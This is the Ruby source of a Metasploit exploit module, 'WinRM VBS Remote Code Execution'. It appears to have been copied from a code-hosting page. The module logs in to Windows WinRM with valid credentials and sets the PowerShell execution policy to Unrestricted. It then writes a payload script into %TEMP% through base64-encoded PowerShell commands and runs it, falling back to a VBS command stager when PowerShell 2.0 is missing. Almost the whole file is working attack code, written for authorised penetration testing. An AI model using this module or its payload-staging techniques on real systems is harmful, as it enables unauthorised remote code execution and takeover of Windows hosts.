216 lines
5.7 KiB
Ruby
216 lines
5.7 KiB
Ruby
|
##
|
||
|
# $Id$
|
||
|
##
|
||
|
|
||
|
##
|
||
|
# This file is part of the Metasploit Framework and may be subject to
|
||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||
|
# web site for more information on licensing and terms of use.
|
||
|
# http://metasploit.com/
|
||
|
##
|
||
|
|
||
|
|
||
|
require 'msf/core'
|
||
|
|
||
|
|
||
|
class Metasploit3 < Msf::Exploit::Remote
|
||
|
Rank = ManualRanking
|
||
|
|
||
|
include Msf::Exploit::Remote::WinRM
|
||
|
include Msf::Exploit::CmdStagerVBS
|
||
|
|
||
|
|
||
|
def initialize(info = {})
|
||
|
super(update_info(info,
|
||
|
'Name' => 'WinRM VBS Remote Code Execution',
|
||
|
'Description' => %q{
|
||
|
This module uses valid credentials to login to the WinRM service
|
||
|
and execute a payload. It has two available methods for payload
|
||
|
delivery: Powershell 2.0 and VBS CmdStager.
|
||
|
|
||
|
The module will check if Powershell 2.0 is available, and if so uses
|
||
|
that method. Otherwise it falls back to the VBS Cmdstager which is
|
||
|
less stealthy.
|
||
|
|
||
|
IMPORTANT: If targeting an x64 system with the Powershell method
|
||
|
you MUST select an x64 payload. An x86 payload will never return.
|
||
|
},
|
||
|
'Author' => [ 'thelightcosine' ],
|
||
|
'License' => MSF_LICENSE,
|
||
|
'Version' => '$Revision$',
|
||
|
'Privileged' => true,
|
||
|
'DefaultOptions' =>
|
||
|
{
|
||
|
'WfsDelay' => 30,
|
||
|
'EXITFUNC' => 'thread',
|
||
|
'InitialAutoRunScript' => 'post/windows/manage/smart_migrate',
|
||
|
},
|
||
|
'Platform' => 'win',
|
||
|
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
|
||
|
'Targets' =>
|
||
|
[
|
||
|
[ 'Windows', { } ],
|
||
|
],
|
||
|
'DefaultTarget' => 0,
|
||
|
'DisclosureDate' => 'Nov 01 2012'
|
||
|
))
|
||
|
|
||
|
register_options(
|
||
|
[
|
||
|
OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false])
|
||
|
], self.class
|
||
|
)
|
||
|
|
||
|
register_advanced_options(
|
||
|
[
|
||
|
OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.',
|
||
|
File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep")]),
|
||
|
], self.class)
|
||
|
|
||
|
end
|
||
|
|
||
|
def check
|
||
|
unless accepts_ntlm_auth
|
||
|
print_error "The Remote WinRM server does not appear to allow Negotiate(NTLM) auth"
|
||
|
return Msf::Exploit::CheckCode::Safe
|
||
|
end
|
||
|
end
|
||
|
|
||
|
def powershell2?
|
||
|
if datastore['FORCE_VBS']
|
||
|
print_status "User selected the FORCE_VBS option"
|
||
|
return false
|
||
|
end
|
||
|
print_status "checking for Powershell 2.0"
|
||
|
streams = winrm_run_cmd("powershell Get-Host")
|
||
|
if streams == 401
|
||
|
print_error "Login failed!"
|
||
|
return false
|
||
|
end
|
||
|
unless streams.class == Hash
|
||
|
print_error "Recieved error while running check"
|
||
|
return false
|
||
|
end
|
||
|
if streams['stderr'].include? "not recognized"
|
||
|
print_error "Powershell is not installed"
|
||
|
return false
|
||
|
end
|
||
|
streams['stdout'].each_line do |line|
|
||
|
next unless line.start_with? "Version"
|
||
|
major_version = line.match(/\d(?=\.)/)[0]
|
||
|
if major_version == 1
|
||
|
print_error "The target is running an older version of powershell"
|
||
|
return false
|
||
|
end
|
||
|
end
|
||
|
|
||
|
print_status "Attempting to set Execution Policy"
|
||
|
streams = winrm_run_cmd("powershell Set-ExecutionPolicy Unrestricted")
|
||
|
if streams == 401
|
||
|
print_error "Login failed!"
|
||
|
return false
|
||
|
end
|
||
|
unless streams.class == Hash
|
||
|
print_error "Recieved error while running check"
|
||
|
return false
|
||
|
end
|
||
|
streams = winrm_run_cmd("powershell Get-ExecutionPolicy")
|
||
|
if streams['stdout'].include? 'Unrestricted'
|
||
|
return true
|
||
|
end
|
||
|
return false
|
||
|
end
|
||
|
|
||
|
def exploit
|
||
|
if powershell2?
|
||
|
path = upload_script
|
||
|
return if path.nil?
|
||
|
exec_script(path)
|
||
|
else
|
||
|
execute_cmdstager
|
||
|
end
|
||
|
handler
|
||
|
end
|
||
|
|
||
|
def execute_command(cmd,opts)
|
||
|
commands = cmd.split(/&/)
|
||
|
commands.each do |command|
|
||
|
if command.include? "cscript"
|
||
|
streams = winrm_run_cmd_hanging(command)
|
||
|
print_status streams.inspect
|
||
|
elsif command.include? "del %TEMP%"
|
||
|
next
|
||
|
else
|
||
|
winrm_run_cmd(command)
|
||
|
end
|
||
|
end
|
||
|
end
|
||
|
|
||
|
def upload_script
|
||
|
tdir = temp_dir
|
||
|
return if tdir.nil?
|
||
|
path = tdir + "\\" + ::Rex::Text.rand_text_alpha(8) + ".ps1"
|
||
|
print_status "Uploading powershell script to #{path} (This may take a few minutes)..."
|
||
|
|
||
|
script = Msf::Util::EXE.to_win32pe_psh(framework,payload.encoded)
|
||
|
#add a sleep to the script to give us enoguh time to establish a session
|
||
|
script << "\n Start-Sleep -s 600"
|
||
|
script.each_line do |psline|
|
||
|
#build our psh command to write out our psh script, meta eh?
|
||
|
script_line = "Add-Content #{path} '#{psline.chomp}' "
|
||
|
cmd = encoded_psh(script_line)
|
||
|
streams = winrm_run_cmd(cmd)
|
||
|
end
|
||
|
return path
|
||
|
end
|
||
|
|
||
|
def exec_script(path)
|
||
|
print_status "Attempting to execute script..."
|
||
|
cmd = "powershell -File #{path}"
|
||
|
resp,c = send_request_ntlm(winrm_open_shell_msg)
|
||
|
if resp.nil?
|
||
|
print_error "Got no reply from target"
|
||
|
return
|
||
|
end
|
||
|
unless resp.code == 200
|
||
|
print_error "Got unexpected response from #{ip}: \n #{resp.to_s}"
|
||
|
return
|
||
|
end
|
||
|
shell_id = winrm_get_shell_id(resp)
|
||
|
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id))
|
||
|
cmd_id = winrm_get_cmd_id(resp)
|
||
|
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id))
|
||
|
streams = winrm_get_cmd_streams(resp)
|
||
|
end
|
||
|
|
||
|
def encoded_psh(script)
|
||
|
script = script.chars.to_a.join("\x00").chomp
|
||
|
script << "\x00" unless script[-1].eql? "\x00"
|
||
|
script = Rex::Text.encode_base64(script).chomp
|
||
|
cmd = "powershell -encodedCommand #{script}"
|
||
|
end
|
||
|
|
||
|
def temp_dir
|
||
|
print_status "Grabbing %TEMP%"
|
||
|
resp,c = send_request_ntlm(winrm_open_shell_msg)
|
||
|
if resp.nil?
|
||
|
print_error "Got no reply from the server"
|
||
|
return nil
|
||
|
end
|
||
|
unless resp.code == 200
|
||
|
print_error "Got unexpected response: \n #{resp.to_s}"
|
||
|
return nil
|
||
|
end
|
||
|
shell_id = winrm_get_shell_id(resp)
|
||
|
cmd = "echo %TEMP%"
|
||
|
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id))
|
||
|
cmd_id = winrm_get_cmd_id(resp)
|
||
|
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id))
|
||
|
streams = winrm_get_cmd_streams(resp)
|
||
|
return streams['stdout'].chomp
|
||
|
end
|
||
|
|
||
|
|
||
|
|
||
|
end
|